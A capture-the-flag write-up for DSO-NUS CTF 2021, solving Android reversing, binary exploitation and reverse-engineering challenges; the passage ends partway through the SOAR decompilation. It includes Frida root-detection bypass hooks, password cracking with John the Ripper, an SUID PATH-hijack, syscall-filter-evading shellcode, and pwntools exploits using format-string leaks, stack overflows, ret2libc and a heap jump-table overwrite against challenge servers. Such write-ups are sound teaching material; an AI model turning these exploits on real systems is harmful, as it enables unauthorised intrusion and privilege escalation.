DSO-NUS CTF 2021

Mobile

Login

It's time for a simple, relaxing challenge.
Can you find the correct credentials?

Decompile the apk with jadx:

public class LoginDataSource {
    private String m_password = "7470CB2F2412053D0A3CEC3D07CAE4A4";

    ...
    
    public String getJavaPassword() {
        try {
            return AESTools.decrypt(this.m_password);
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

    ...
    
    public Result<LoggedInUser> login(String str, String str2) {
        if (!str.equals(hexStringToString("5573657231333337"))) {
            Log.d(this.TAG, "Wrong userid!");
            return new Result.Error(new Exception("wrong credentials"));
        }
        String substring = str2.substring(0, 4);
        if (!substring.equals(getJavaPassword())) {
            Log.d(this.TAG, "Wrong password");
            return new Result.Error(new Exception("wrong credentials"));
        }
        String substring2 = str2.substring(4);
        if (!substring2.equals(getNativePassword())) {
            Log.d(this.TAG, "Wrong password!");
            return new Result.Error(new Exception("wrong credentials"));
        }
        try {
            MessageDigest instance = MessageDigest.getInstance("SHA-256");
            instance.update((substring + substring2).getBytes());
            Log.d(this.TAG, "The flag is " + toHex(instance.digest()));
            return new Result.Success(new LoggedInUser(UUID.randomUUID().toString(), "The flag is printed to logcat!"));
        } catch (Exception e) {
            return new Result.Error(new IOException("Error logging in", e));
        }
    }
}
com.ctf.level1.data.LoginDataSource.java

Looking at login, decoding the hex string gives us the value User1337 for str

public class AESTools {
    private static final byte[] keyValue = "!@#$%^&*()_+abcd".getBytes();

    private static byte[] decrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(keyValue, "AES");
        Cipher instance = Cipher.getInstance("AES");
        instance.init(2, secretKeySpec);
        return instance.doFinal(bArr);
    }
}
com.ctf.level1.data.AESTools.java

The first 4 characters of str2 can be obtained by decrypting m_password with the key in AESTools, making a guess that this uses AES CBC. This gives us the value L1v3.

The final part of str2 can be obtained by dynamic analysis with frida (note that frida-server has to be running first, see this):

Java.perform(function () {
  Java.scheduleOnMainThread(function () {
    const Activity = Java.use("com.ctf.level1.data.LoginDataSource");
    const act = Activity.$new();

    console.log(act.getNativePassword());
  });
});
frida solve script

We can then hash str2 for the flag.

FlashyLighty

Bling bling flashlight by day, diary by night
public void onClick(View view) {
    MainActivity mainActivity = this.f787b;
    if (!mainActivity.q) {
        mainActivity.u = SystemClock.elapsedRealtime();
        MainActivity mainActivity2 = this.f787b;
        long j = mainActivity2.u - mainActivity2.t;
        mainActivity2.v = j;
        mainActivity2.w = ((double) j) / 1000.0d;
    }
    MainActivity mainActivity3 = this.f787b;
    mainActivity3.q = false;
    mainActivity3.t = SystemClock.elapsedRealtime();
    MainActivity mainActivity4 = this.f787b;
    if (mainActivity4.specialK((int) Math.round(mainActivity4.w)) == 10101) {
        int i = mainActivity4.s + 1;
        mainActivity4.s = i;
        if (i == 4) {
            mainActivity4.s = 0;
            mainActivity4.gimmie((int) Math.round(mainActivity4.w), "zjMl+G^(j{}Gz+kLG~Wj{+");
            Toast.makeText(mainActivity4.o, "Check logcat!", 0).show();
            mainActivity4.startActivity(new Intent(mainActivity4, SuperSekretActivity.class));
        }
    } else {
        mainActivity4.s = 0;
    }
    int i2 = mainActivity4.r + 1;
    mainActivity4.r = i2;
    if (i2 > 4) {
        mainActivity4.r = 0;
    }
    mainActivity4.p.setImageResource(mainActivity4.x[mainActivity4.r]);
}
b.b.a.b.java

We can decompile the native library with Ghidra:

undefined8
Java_com_dso_flashylighty_MainActivity_gimmie
          (long *param_1,undefined8 param_2,uint param_3,undefined8 param_4)

{
  undefined (*pauVar1) [16];
  long in_FS_OFFSET;
  undefined local_48 [16];
  byte local_38;
  byte local_37;
  byte local_36;
  byte local_35;
  byte local_34;
  byte local_33;
  undefined local_32;
  long local_28;
  
  local_28 = *(long *)(in_FS_OFFSET + 0x28);
  pauVar1 = (undefined (*) [16])(**(code **)(*param_1 + 0x548))(param_1,param_4,0);
  local_48 = pshufb(ZEXT416(param_3),(undefined  [16])0x0);
  local_48 = local_48 ^ *pauVar1;
  local_33 = (byte)param_3;
  local_38 = pauVar1[1][0] ^ local_33;
  local_37 = pauVar1[1][1] ^ local_33;
  local_36 = pauVar1[1][2] ^ local_33;
  local_35 = pauVar1[1][3] ^ local_33;
  local_34 = pauVar1[1][4] ^ local_33;
  local_33 = pauVar1[1][5] ^ local_33;
  local_32 = 0;
  __android_log_print(SUB168(*pauVar1,0),SUB168(local_48,0),0,4,"libflashylighty",&DAT_00100974,
                      local_48);
  (**(code **)(*param_1 + 0x550))(param_1,param_4,pauVar1);
  if (*(long *)(in_FS_OFFSET + 0x28) == local_28) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

We see that w and "zjMl+G^(j{}Gz+kLG~Wj{+" are passed to gimmie, which in turn casts w to a byte and XORs it with some data. We can make a guess and conclude that w is XORed with the other string passed to gimmie.

Since w can only be 0-255, this is trivially bruteforced either with frida or CyberChef. Note that there is a check for root which has to be bypass before the app will run.

Java.perform(function () {
  var DeviceUtils = Java.use("com.scottyab.rootbeer.RootBeer");
  DeviceUtils.isRooted.implementation = function () {
    return false;
  };

  Java.scheduleOnMainThread(function () {
    const Activity = Java.use("com.dso.flashylighty.MainActivity");
    const act = Activity.$new();
    
    console.log("here!");
    for (let i = 0; i < 255; i++) {
      console.log(act.gimmie(i, "zjMl+G^(j{}Gz+kLG~Wj{+"));
    }
  });
});
frida solve script

Sekrets

What?? A secret activity?
I wonder how many apps have these..

We again have to recover a set of credentials.

public void onClick(View view) {
    String str;
    if (Objects.equals(SuperSekretActivity.this.o.getText().toString(), "xYzKiRiToxYz")) {
        String obj = SuperSekretActivity.this.p.getText().toString();
        try {
            MessageDigest instance = MessageDigest.getInstance("SHA-256");
            instance.reset();
            byte[] digest = instance.digest(obj.getBytes());
            StringBuilder sb = new StringBuilder(digest.length * 2);
            int length = digest.length;
            for (int i = 0; i < length; i++) {
                sb.append(String.format("%02x", new Object[]{Integer.valueOf(digest[i] & 255)}));
            }
            str = sb.toString();
        } catch (Exception unused) {
            str = null;
        }
        if (Objects.equals(str, "1f413f06cb30df064361e85d11c5da61e06db232e57f5b44cd3d33ab4a92e08e")) {
            SuperSekretActivity superSekretActivity = SuperSekretActivity.this;
            String obj2 = superSekretActivity.p.getText().toString();
            Objects.requireNonNull(superSekretActivity);
            char[] charArray = obj2.toCharArray();
            try {
                charArray[0] = (char) (charArray[0] ^ ' ');
                charArray[1] = (char) (charArray[1] ^ 'V');
                charArray[2] = (char) (charArray[2] ^ 'V');
                charArray[4] = (char) (charArray[4] ^ 'X');
                charArray[6] = (char) (charArray[6] ^ ' ');
                charArray[9] = (char) (charArray[9] ^ ' ');
                charArray[12] = (char) (charArray[12] ^ 'V');
                charArray[14] = (char) (charArray[14] ^ 'F');
                charArray[16] = (char) (charArray[16] ^ 'X');
                charArray[17] = (char) (charArray[17] ^ 'F');
                charArray[20] = (char) (charArray[20] ^ '!');
                charArray[22] = (char) (charArray[22] ^ ' ');
            } catch (Exception unused2) {
                Log.w("generateFlag", "Oh no.");
            }
            String str2 = new String(charArray);
            Objects.requireNonNull(superSekretActivity);
            d.a aVar = new d.a(superSekretActivity);
            AlertController.b bVar = aVar.f8a;
            bVar.d = "Congrats!";
            bVar.f = str2;
            aVar.a().show();
            return;
        }
    }
    Toast.makeText(SuperSekretActivity.this, "Authentication Failed Successfully ;)", 0).show();
}

The username is provided in plaintext, but what about the password? We only have its SHA256 hash, for which brute force isn't exactly the first thing we reach for.

It turns out that the dots around the edge of the login screen is braille for "GITLABROCKS" repeatedly:

Searching for FlashyLighty on GitLab, we find a prior commit with the password in plaintext.

YALA (Part 1)

Time to look at Yet Another Login App.
Try to find the right credentials and login!

We're asked to reverse engineer an .apk with aggressive anti-tampering measures like root detection and signature checking. Resorting to static analysis, we decompiled it with jadx and examined it:

public void b(String str, String str2) {
    c cVar;
    LoginDataSource loginDataSource = this.f1112d.f1100a;
    Objects.requireNonNull(loginDataSource);
    String aVar = new a(loginDataSource).toString();
    loginDataSource.f1392d = aVar;
    if (!str.equals(aVar)) {
        Log.d("ctflevel2", "Invalid user id");
        cVar = new c.b(new Exception("Invalid user id"));
    } else {
        try {
            char[] cArr = b.b.a.c.f1097a;
            MessageDigest instance = MessageDigest.getInstance("SHA-256");
            instance.update((")(*&^%$#" + str2).getBytes());
            if (Arrays.equals(instance.digest(), loginDataSource.f1391c)) {
                Log.d("ctflevel2", "Valid credentials entered");
                try {
                    String str3 = str + ":" + str2;
                    char[] cArr2 = b.b.a.c.f1097a;
                    MessageDigest instance2 = MessageDigest.getInstance("SHA-256");
                    instance2.update(str3.getBytes());
                    byte[] digest = instance2.digest();
                    Log.d("ctflevel2", "CONGRATS! The 1st flag is " + loginDataSource.a(digest));
                    Log.d("ctflevel2", "There is another flag. Good luck!");
b.b.a.e.a.d.java

We see that str should equal to aVar, which is built from a on line 5. Tracing the class a:

package b.b.a.d;

import com.ctf.level3.data.LoginDataSource;

public class a {

    /* renamed from: a  reason: collision with root package name */
    public int f1098a;

    public a(LoginDataSource loginDataSource) {
    }

    public String toString() {
        this.f1098a = -1462734071;
        this.f1098a = -385552254;
        this.f1098a = 1107918732;
        this.f1098a = -198649565;
        this.f1098a = 728446419;
        this.f1098a = 718529411;
        this.f1098a = -2089595746;
        return new String(new byte[]{(byte) (-1462734071 >>> 4), (byte) (-385552254 >>> 9), (byte) (1107918732 >>> 19), (byte) (-198649565 >>> 6), (byte) (728446419 >>> 19), (byte) (718529411 >>> 17), (byte) (-2089595746 >>> 19)});
    }
}
b.b.a.d.a.java

Which we can evaluate for the username:

➜  tmp cat Yala1.java
import java.io.*;

public class Yala1 {
        public static void main(String[] argv) {
                System.out.println(new String(new byte[]{(byte) (-1462734071 >>> 4), (byte) (-385552254 >>> 9), (byte) (1107918732 >>> 19), (byte) (-198649565 >>> 6), (byte) (728446419 >>> 19), (byte) (718529411 >>> 17), (byte) (-2089595746 >>> 19)}));
        }
}
➜  tmp java Yala1.java
0xAdmin

Moving on to the password now - we see from lines 13 to 15 of the code snippet from b.b.a.e.a.d.java that sha256(")(*&^%$#" + str2) should equal to loginDataSource.f1391c, which is 516b36ed915a70852daf6a06c7fd1a1451d8269a8b2c5ae97110bc77b083c420. Since there are no other hints, we brute forced it with John the Ripper, with salt )(*&^%$# and the hash above.

With the rockyou wordlist, aeroplane is recovered almost instantly:

> john --format=dynamic_61 --wordlist=C:\Users\Justin\Desktop\rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_61 [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
aeroplane        (user)
1g 0:00:00:00 DONE (2021-03-01 09:26) 18.51g/s 808888p/s 808888c/s 808888C/s bologna1..samsung123
Use the "--show --format=dynamic_61" options to display all of the cracked passwords reliably
Session completed

When 0xAdmin and aeroplane are entered into the app, the flag is logged to logcat.

Pwn

Insecure

Someone once told me that SUID is a bad idea. Could you show me why?

After decompiling the given binary with Ghidra, we see that its stripped and there are no nice function names for us to follow. We can take a look at the entry function and the first argument to __libc_start_main:

And here we find the main meat of the program:

undefined8 FUN_00400746(void)

{
  __uid_t __uid;
  __uid_t __uid_00;
  int iVar1;
  undefined8 uVar2;
  
  __uid = getuid();
  puts("I am a SUID binary and can run in varying levels of privilege!");
  puts("\nNow, I run in a less privileged context.");
  system("id");
  __uid_00 = geteuid();
  iVar1 = setuid(__uid_00);
  if (iVar1 == 0) {
    puts("\nNext, I wil run in a more privileged context.");
    system("id");
    setuid(__uid);
    puts("\nOnce I am done, as a good practice, I should return my privileges.");
    puts("And I run in a less privileged context again.");
    system("id");
    uVar2 = 0;
  }
  else {
    printf("Eh? Something went wrong leh.");
    printf("Can contact some geeks about this? Thanks!");
    perror("seteuid");
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

As the challenge description suggests, this binary has the suid bit set. When we as nobody executes the binary, the binary runs as the owner of the binary rather than as nobody. As the output from id suggests, id is ran three times, the first as nobody, the second as root (I'm assuming so, I forgot who actually owned the binary on the challenge server) and the third as nobody again.

The plan of attack is thus as follows:

  1. Create a fake id that will print the flag
  2. Call insecure

How can we trick insecure into running our fake id then? Well, when we run a command eg ls or cat, the shell starts looking at the directories specified in the PATH environment variable to find the binary. All we have to do is thus put the folder containing our fake id before the standard path.

Elaborating on the plan:

  1. Create a fake id in /tmp
  2. Add /tmp to PATH
  3. Call insecure

Syscall Phobia

Timmy has created a program to execute any x86_64 bytecode instructions! However, Timmy has an absolute detest for syscalls, and does not want anyone to insert syscalls into their instructions. This will make it a little secure... right?

We take a quick look at the binary in Ghidra to determine whether we're meant to break the blacklist, or actually write a payload that does not use syscalls.

undefined8 FUN_00400a2c(void)

{
  size_t sVar1;
  void *pvVar2;
  char local_118 [260];
  int local_14;
  code *local_10;
  
  local_10 = (code *)mmap((void *)0x0,0x1000,7,0x22,-1,0);
  puts("Enter your hexadecimal bytecode here and we will execute it for you!");
  puts("We absolutely hate syscalls so please DO NOT enter syscall instructions here :D");
  puts("Example: 554889e5c9c3\n");
  puts("Enter assembly bytecode here! (No syscalls please, tenks): ");
  fflush(stdout);
  fgets(local_118,200,stdin);
  sVar1 = strcspn(local_118,"\n");
  local_118[sVar1] = '\0';
  local_14 = FUN_004008f6(local_118,local_10,local_10);
  pvVar2 = memmem(local_10,(long)local_14,&DAT_00400d5e,2);
  if (pvVar2 == (void *)0x0) {
    pvVar2 = memmem(local_10,(long)local_14,&DAT_00400d61,2);
    if (pvVar2 == (void *)0x0) {
      puts("Executing your assembly code!");
      fflush(stdout);
      DAT_006020a0 = local_10;
      (*local_10)();
      return 0;
    }
  }
  puts("Hey! I told you no syscalls! :(");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Well, looks foolproof. Line 20 and 22 look for 0F05h and CD80h (syscall and int 0x80 respectively) in the entered payload and fails if any of them are found.

Lets grab shellcode and see what it disassembles to:

push   rax
xor    rdx,rdx
xor    rsi,rsi
movabs rbx,0x68732f2f6e69622f
push   rbx
push   rsp
pop    rdi
mov    al,0x3b
syscall

That final syscall is the issue here, the binary detects that and quits.

Since the binary does not have PIE enabled, what gadgets do we have access to?

➜  pwn-syscall ropper -f syscall-phobia
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

...

0x0000000000400d5e: syscall;

169 gadgets found

That's convenient. All we have to do is replace the syscall with a jmp to 0x400d5e:

push   rax
xor    rdx,rdx
xor    rsi,rsi
movabs rbx,0x68732f2f6e69622f
push   rbx
push   rsp
pop    rdi
mov    al,0x3b
mov    r15,0x400d5e
jmp    r15

Which gives us our flag:

➜  pwn-syscall nc ctf-rv6w.balancedcompo.site 9998
Selected user namespace base 10000 and range 1000.
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here :D
Example: 554889e5c9c3

Enter assembly bytecode here! (No syscalls please, tenks):
504831D24831F648BB2F62696E2F2F736853545FB03B49C7C75E0D400041FFE7
Executing your assembly code!
printf "%s" $(<flag.txt)
DSO-NUS{a5a5ab1dc69bb9ffb55e75bdc290313d7d7137e653c98e66cc23dc042b2046bc}

Interestingly, we were dropped into an environment without access to standard binaries like cat, so we resorted to using printf instead.

Futuristic Secure Bulletin

You managed to break into one of the imposter's communication system, named the Futuristic Secure Bulletin Service. This service lets the imposters send messages to one another secretly. Are you able to find out about their secrets?

Decompile:

void FUN_00100c34(uint param_1,uint param_2,uint param_3,int param_4)

{
  print_banner();
  if (param_4 == 0x539) {
    flag();
  }
  printf("User ID: %d \t Device ID: %d \t Session ID: %d\n",(ulong)param_1,(ulong)param_2,
         (ulong)param_3);
  printf("Please enter the recipient\'s name:");
  fflush(stdout);
  read_input();
  printf("Enter Message:");
  fflush(stdout);
  read_message();
  puts("Message Sent!");
  puts("Thank You for using the Futuristic Secure Bulletin System! Goodbye.");
  return;
}
void read_input(void)

{
  char local_12 [10];
  
  fflush(stdin);
  read(0,local_12,10);
  filter(local_12);
  puts("Sending message to:");
  printf(local_12);
  putchar(10);
  return;
void read_message(void)

{
  undefined local_108 [256];
  
  fflush(stdin);
  read(0,local_108,300);
  filter(local_108);
  return;
}

The first obvious bug as hinted by the challenge name is a Format String Bug where user input is passed to a printf call as the format string in line 10 of read_input, which allows us to send a 10 byte payload

A quick checksec points out that there is no stack canary, meaning we can exploit the buffer overflow in read_message: it reads 300 bytes into a 256 byte buffer.

gef➤  checksec
[+] checksec for '/mnt/c/Users/Justin/Desktop/dsonus21/pwn-fsb/FSBS'
Canary                        : ✘
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full

Although a convenient flag function is provided, PIE is also enabled, forcing us to leak a memory address before we can jump to flag. We can make use of the printf to leak the return address of read_input, which will allow us to calculate the address of flag.

Playing around with using %n$p to leak data on the stack, we find that %9$p will leak the return address after read_input, 0xCAB.

We can then calculate the address of flag, and write the address into the return address of read_message.

from pwn import *

# offset from leaked address to flag function
OFFSET = 0xCAB - 0xA1A

# r = process("FSBS")
r = remote("ctf-rv6w.balancedcompo.site", 9994)

gdb.attach(r)
r.sendline("%9$p")
r.recvuntil("message to:\n0x")
leaked_addr = int(r.recvline().strip(), 16)
print(f'{hex(leaked_addr)=}')
target = leaked_addr - OFFSET
print(f'{hex(target)=}')

# 256 bytes on the stack + 8 for rbp + 8 for rip
payload = (b"A"* 256) + (b"B" * 8) + p64(target)
r.sendline(payload)
r.interactive()
solve.py

Robust Orbital Postal Service

You managed to break into another one of the imposter's communication system, named the Robust Orbital Postal Service. This service lets the imposters send messages to one another secretly. Are you able to find out about their secrets?

We have a very similar binary to the previous challenge, except that this time, there is no convenient flag function.

We're also given a file libc.so.6, so evidently we're meant to return to libc.

from pwn import *

POP_RDI_RET = 0x0000000000023173

libc = ELF("libc.so.6")

# r = process("ROPS")
r = remote("ctf-rv6w.balancedcompo.site", 9995)

# gdb.attach(r)
r.sendline("%19$p")
r.recvuntil("message to:\n0x")
libc.address = int(r.recvline().strip(), 16) - libc.symbols["__libc_start_main"] - 243 # __libc_start_main+243
print(f'{hex(libc.address)=}')

# 256 bytes on the stack + 8 for rbp
payload = (b"A"* 256) + (b"B" * 8)
payload += p64(libc.address + POP_RDI_RET)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols["system"])
r.sendline(payload)
r.interactive()
solve.py

We just have to tweak the previous solution a little - rather than leaking the address of the binary, we leak the address of __libc_start_main.

We can then, as the challenge name implies, set up a ROP (return-oriented programming) chain:

  1. pop the next item into rdi
  2. address of "/bin/sh"
  3. address of system

This executes system("/bin/sh"), giving us a shell.

Task Tracker

To identify the imposter, Red has programmed a task tracker to keep track of all tasks completed. However, one of the imposters have sabotaged some of the code to make it vulnerable. Can you leverage on the vulnerability to get the secret intel?
void main(void)

{
  undefined4 uVar1;
  code **ppcVar2;
  long in_FS_OFFSET;
  undefined local_18 [8];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  FUN_00410940(PTR_DAT_006cb740,0,2,0);
  FUN_00410940(PTR_DAT_006cb748,0,2,0);
  ppcVar2 = (code **)_malloc(0x30);
  *ppcVar2 = FUN_004009ae;
  ppcVar2[1] = list_tasks;
  ppcVar2[2] = add_task;
  ppcVar2[3] = change_task;
  ppcVar2[4] = print_beeps;
  ppcVar2[5] = meeting;
  (**ppcVar2)();
  do {
    print_menu();
    _read(0,local_18,8);
    uVar1 = _atoi(local_18);
    switch(uVar1) {
    case 1:
      (*ppcVar2[1])();
      break;
    case 2:
      (*ppcVar2[2])();
      break;
    case 3:
      (*ppcVar2[3])();
      break;
    case 4:
      (*ppcVar2[4])();
      break;
    case 5:
      (*ppcVar2[5])();
      _exit(0);
    default:
      _puts(
           "Invalid Option. Not sure if you have butter fingers, but you deserve to be voted outanyways."
           );
    }
  } while( true );
}

The only interesting thing in main is the presence of function pointers in the heap - this jump table is used to handle user input.

undefined8 add_task(void)

{
  int len_taskname;
  undefined8 uVar1;
  long in_FS_OFFSET;
  int i;
  undefined local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (num_tasks < 0x32) {
    _printf("Please enter the length of task name:");
    _read(0,local_18,8);
    len_taskname = _atoi(local_18);
    if (len_taskname == 0) {
      _puts("Are you an imposter?");
    }
    else {
      i = 0;
      while (i < 0x32) {
        if (*(long *)(&task_storage + (long)i * 0x10) == 0) {
          *(int *)(&DAT_006ccbc0 + (long)i * 0x10) = len_taskname;
          uVar1 = _malloc((long)len_taskname);
          *(undefined8 *)(&task_storage + (long)i * 0x10) = uVar1;
          _printf("Please enter the name of task:");
          len_taskname = _read(0,*(undefined8 *)(&task_storage + (long)i * 0x10),(long)len_taskname)
          ;
          *(undefined *)((long)len_taskname + *(long *)(&task_storage + (long)i * 0x10)) = 0;
          num_tasks = num_tasks + 1;
          break;
        }
        i = i + 1;
      }
    }
  }
  else {
    _puts("All tasks have been tracked. Call the Emergency Meeting!");
  }
  uVar1 = 0;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    uVar1 = FUN_00443c60();
  }
  return uVar1;
}

Nothing special here - this function allows us to malloc an arbitrary chunk of data and write to it. The pointer is saved into an array in the data segment.

void change_task(void)

{
  int iVar1;
  int iVar2;
  long in_FS_OFFSET;
  undefined local_28 [16];
  undefined local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (num_tasks == 0) {
    _puts("Are you doing your tasks?");
  }
  else {
    _printf("Please enter the index of the task you want to change:");
    _read(0,local_28,8);
    iVar1 = _atoi(local_28);
    if (*(long *)(&task_storage + (long)iVar1 * 0x10) == 0) {
      _puts("That is what an imposter would say.");
    }
    else {
      _printf("Enter the length of task name:");
      _read(0,local_18,8);
      iVar2 = _atoi(local_18);
      _printf("Enter the new task name:");
      iVar2 = _read(0,*(undefined8 *)(&task_storage + (long)iVar1 * 0x10),(long)iVar2);
      *(undefined *)((long)iVar2 + *(long *)(&task_storage + (long)iVar1 * 0x10)) = 0;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    FUN_00443c60();
  }
  return;
}

Here is where it gets more interesting. This function purportedly allows us to modify a previously created task. However, there are two key issues here:

  1. There is no validation of the task index submitted before writing to it
  2. The user is allowed to set an arbitrary length for the task name, potentially overwriting heap memory if the length is longer than previously allocated

This allows us to write arbitrary data to a pointer in the data segment.

The plan of attack is thus as follows:

  1. Find a pointer in the data segment pointing to the heap, preferably close to but must be before the address returned by malloc on line 13 of main.
  2. Use the arbitrary write to write to the pointer, essentially writing into the heap
  3. Write the address of the conveniently provided flag function into the jump table
  4. Call the function pointer that was overwritten
Diagram of plan of attack
from pwn import *
# function table: 0x6d0890

# use out of bound array index to write from
# 0x6ccbc8 (task pointer table) to
# 0x00000000006cc598│+0x0660: 0x00000000006d01d0  →  "/home/justin/dsonus21/pwn-tasktracker"
# write junk to hit jump table

ADDR_TASK_TABLE = 0x6ccbc8
ADDR_TARGET_PTR = 0x6cc598

ADDR_TARGET_PTR_DST = 0x6d01d0
ADDR_JUMP_TABLE = 0x6d0890

PRINT_FLAG = 0x400d51

if args.REMOTE:
    io = remote("ctf-jfi4.balancedcompo.site", 9997)
else:
    io = process("./tasktracker")

def create_task(size, content):
    io.sendlineafter("choice:", "2")
    io.sendlineafter("name:", str(size))
    io.sendlineafter("task:", content)

def change_task(index, size, content):
    io.sendlineafter("choice:", "3")
    io.sendlineafter("change:", str(index))
    io.sendlineafter("name:", str(size))
    io.sendlineafter("name:", content)

# create dummy task so we can edit
create_task(24, "task 0")

heap_offset = ADDR_JUMP_TABLE - ADDR_TARGET_PTR_DST

payload =  b"A" * (heap_offset - 16)
payload += b"B" * 40
payload += p64(PRINT_FLAG) # ptr 1

change_task(
    (ADDR_TARGET_PTR - ADDR_TASK_TABLE) // 16,
    len(payload) + 1,
    payload
)

io.recv()
io.sendline("1")
io.interactive()
solve.py

Note that the exploit isn't reliable across different systems, you may have to tweak the number of bytes of padding before the address of PRINT_FLAG.

Reverse Engineering

Three Trials

Reverse the binary, understand the conditions, dust out your math textbooks and solve the trials!

We get a binary that takes in: get this - not two, not four, but three numbers and validates them.

The first function is straightforward:

undefined8 FUN_00101325(int param_1)

{
  undefined8 uVar1;
  double dVar2;
  int local_14;
  int local_10;
  
  local_14 = 0;
  local_10 = param_1;
  while (0 < local_10) {
    dVar2 = (double)power(local_10 % 10,3);
    local_14 = (int)(dVar2 + (double)local_14);
    local_10 = local_10 / 10;
  }
  if (((local_14 == param_1) && (400 < param_1)) && (param_1 < 1000)) {
    uVar1 = 1;
  }
  else {
    uVar1 = 0;
  }
  return uVar1;
}
Check 1

We see the final if condition constraining the input to between (400, 1000), so a simple brute force returns 407.

ulong FUN_001013e8(int param_1)

{
  int iVar1;
  ulong uVar2;
  double dVar3;
  double extraout_XMM0_Qa;
  int local_20;
  int local_1c;
  int local_18;
  
  dVar3 = (double)power(param_1,2);
  iVar1 = (int)dVar3;
  local_20 = 0;
  dVar3 = (double)power(param_1,2);
  local_1c = (int)dVar3;
  while (0 < local_1c) {
    local_20 = local_20 + 1;
    local_1c = local_1c / 10;
  }
  if ((local_20 - (local_20 >> 0x1f) & 1U) + (local_20 >> 0x1f) != 1) {
    local_18 = 1;
    while (local_18 < local_20) {
      dVar3 = (double)power(10,local_18);
      if (iVar1 % (int)dVar3 + iVar1 / (int)dVar3 == param_1) {
        uVar2 = power(10,9);
        return uVar2 & 0xffffffffffffff00 | (ulong)(extraout_XMM0_Qa < (double)iVar1);
      }
      local_18 = local_18 + 1;
    }
  }
  return 0;
}
Check 2

We can similarly brute force the solution to check two, except that multiple valid answers are returned. The largest solution 38962 is correct.

undefined8 FUN_001014e6(int param_1)

{
  double dVar1;
  int local_10;
  int local_c;
  
  local_10 = 0;
  local_c = 1;
  while (local_c <= param_1) {
    if ((param_1 % local_c == 0) && (local_c != param_1)) {
      local_10 = local_10 + local_c;
    }
    local_c = local_c + 1;
  }
  if (((local_10 == param_1) && (dVar1 = (double)power(10,5), dVar1 < (double)local_10)) &&
     (dVar1 = (double)power(10,8), (double)local_10 < dVar1)) {
    return 1;
  }
  return 0;
}

Check three is more interesting - the final if suggests that we're looking for an answer in (10^5,  10^8) which is not reasonable to brute force. Reading the code, we can search for a crude description of it and find a convenient list of perfect numbers on Wikipedia. The solution within the stated range is 33550336.

Copying the decompiled code into a C file and executing it is a quick way to brute force the first two checks:

#include <stdio.h>
#include <math.h>
#include <stdint.h>

#define ulong unsigned long
#define uint unsigned int

double power(int param_1,int param_2)
{
  return pow((double)param_1,(double)param_2);
}

char FUN_00101325(int param_1)
{
  ...
}

ulong FUN_001013e8(uint param_1)
{
  ...
}

void main() {
  min = (double)power(10,5);
  max = (double)power(10,8);
  unsigned long i = 401;

  while (i < 1000) {
    if (FUN_00101325(i)) {
      printf("ans: %d\n", i);
    }

    i ++;
  }

  i = 46;

  while(1) {
    if (FUN_001013e8(i)) {
      printf("ans2: %d\n", i);
    }
    i++;
  }
}

SOAR

Looking for a scholarship?
Help us find the secret hidden in this one!

We're given a pdf, which we can run binwalk on to extract a zip file. Although the zip is password protected, dso is easily recoverable.

➜  rev-soar binwalk -e SOAR-challenge.pdf                                                                                                                                                                                                   DECIMAL       HEXADECIMAL     DESCRIPTION                                                                             --------------------------------------------------------------------------------                                      0             0x0             PDF document, version: "1.4"                                                            70            0x46            Zip archive data, at least v2.0 to extract, compressed size: 4729, uncompressed size: 4760, name: soar.zip                                                                                                    40792         0x9F58          End of Zip archive, footer length: 22

We get an extremely long binary:

undefined8 main(void)

{
  undefined uVar1;
  byte bVar2;
  ...
  int local_hour;
  uint local_minutes;
  
  bVar11 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  buf1 = (char *)malloc(0xd50c51);
  i = 0;
  printf_offset = 0;
  local_6a8 = 0;
  buf2 = malloc(0xd50c51);
  i = 2;
  while ((long)i < 0xd50c52) {
    *(undefined *)((long)buf2 + i) = 1;
    i = i + 1;
  }
  i = 2;
  while ((long)i < 0xd50c52) {
    if (*(char *)((long)buf2 + i) != '\0') {
      printf_offset = i * i;
      while ((long)printf_offset < 0xd50c51) {
        *(undefined *)((long)buf2 + printf_offset) = 0;
        printf_offset = printf_offset + i;
      }
    }
    i = i + 1;
  }
  time(&local_6c0);
  local_680 = localtime(&local_6c0);
  local_minutes = local_680->tm_min;
  local_668[0] = 0x36;
  local_668[1] = 0x26;
  ...
  local_668[45] = 0x22;
  local_668[46] = 0xf;
  local_5ac = 5;
  i1 = 0x30;
  plVar7 = &DAT_00102040;
  plVar9 = fname_input;
  while (i1 != 0) {
    i1 = i1 + -1;
    *plVar9 = *plVar7;
    plVar7 = plVar7 + (ulong)bVar11 * -2 + 1;
    plVar9 = plVar9 + (ulong)bVar11 * -2 + 1;
  }
  buf1[0x2f] = '\0';
  i = 0;
  while ((long)i < 0x2f) {
    fname_input[i] = fname_input[i] + -0x1a000;
    fname_input[i] = fname_input[i] + -0xc51;
    fname_input[i] = fname_input[i] - (long)(int)((int)local_220 + 5U ^ local_minutes);
    buf1[local_668[i] - ((int)local_220 + 5)] = (char)fname_input[i];
    i = i + 1;
  }
  i = 0;
  fp = fopen(buf1,"r");
  if (fp != (FILE *)0x0) {
    fseek(fp,0,2);
    i1 = ftell(fp);
    i = (ulong)(i1 == (int)((local_5ac + (int)local_220 ^ local_minutes) + 0x18ce6));
    fclose(fp);
  }
  local_hour = local_680->tm_hour;
  if (i != 0) {
    local_6a0 = 0;
    while (local_6a0 < 0xd50c51) {
      if (*(char *)((long)buf2 + local_6a0) != '\0') {
